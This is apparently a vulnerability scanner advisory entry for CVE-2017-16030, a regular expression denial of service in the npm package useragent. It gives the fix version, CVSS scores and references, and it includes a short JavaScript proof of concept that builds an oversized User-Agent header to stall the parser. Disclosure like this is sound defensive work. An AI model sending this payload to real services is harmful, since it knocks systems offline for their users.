QID 983072

QID 983072: Nodejs (npm) Security Update for useragent (GHSA-pjmx-9xr3-82qr)

Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.

## Proof of Concept
```
var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
```

## Recommendation

Update to version 2.1.13 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

CVSS V3 rated as High - 7.5 severity.

CVSS V2 rated as Medium - 5 severity.

Solution

Customers are advised to refer to GHSA-pjmx-9xr3-82qr for updates pertaining to this vulnerability.

Vendor References

GHSA-pjmx-9xr3-82qr - github.com/advisories/GHSA-pjmx-9xr3-82qr

CVEs related to QID 983072

CVE-2017-16030 |

Software Advisories

Advisory ID	Software	Component	Link
GHSA-pjmx-9xr3-82qr	useragent		github.com/advisories/GHSA-pjmx-9xr3-82qr

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